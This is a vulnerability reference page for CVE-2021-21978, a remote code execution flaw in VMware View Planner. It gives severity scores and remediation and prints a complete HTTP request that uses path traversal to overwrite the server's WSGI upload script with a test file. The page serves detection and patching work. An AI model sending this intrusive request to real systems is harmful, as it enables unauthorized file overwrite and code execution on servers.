🔙 목록으로 돌아가기

CVE-2021-21978: VMware View Planner <4.6 SP1- Remote Code Execution

TitleVMware View Planner <4.6 SP1- Remote Code Execution
Authordwisiswant0
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
RemediationUpgrade to VMware View Planner version 4.6 SP1 or later to mitigate this vulnerability.
CVSS Score9.8
EPSS Score0.90903
CVE IDCVE-2021-21978
CWE IDCWE-20
Tags cve2021 cve vmware rce packetstorm fileupload intrusive vkev vuln

🔍 Vulnerability Description

VMware View Planner 4.x prior to 4.6 Security Patch 1 contains a remote code execution vulnerability due to improper input validation and lack of authorization leading to arbitrary file upload in logupload web application. An unauthorized attacker with network access to View Planner Harness could upload and execute a specially crafted file leading to remote code execution within the logupload container.

🌐 HTTP Request

POST /logupload?logMetaData=%7B%22itrLogPath%22%3A%20%22..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fhttpd%2Fhtml%2Fwsgi_log_upload%22%2C%20%22logFileType%22%3A%20%22log_upload_wsgi.py%22%2C%20%22workloadID%22%3A%20%222%22%7D HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Content-Length: 185
Accept: text/html
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySHHbUsfCoxlX1bpS
Referer: http://www.victim.com
Accept-Encoding: gzip

------WebKitFormBoundarySHHbUsfCoxlX1bpS

Content-Disposition: form-data; name="logfile"; filename=""

Content-Type: text/plain



POC_TEST



------WebKitFormBoundarySHHbUsfCoxlX1bpS

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-21978.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-21978.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A